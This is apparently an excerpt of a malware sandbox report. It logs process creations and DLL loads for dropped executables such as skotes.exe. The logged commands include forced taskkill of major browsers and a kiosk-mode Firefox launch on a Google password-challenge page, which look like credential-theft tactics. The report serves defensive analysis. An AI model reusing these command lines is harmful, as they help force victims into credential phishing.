Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2436,i,8770856731178862040,3094494008038900450,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe "C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1984,i,8577691366813222456,478156052820439559,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2452,i,10496958904193057390,10329293642163972138,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2012,i,14918439842847781835,4316525183382803892,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1964,i,2156908519176632186,6185840840257253882,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
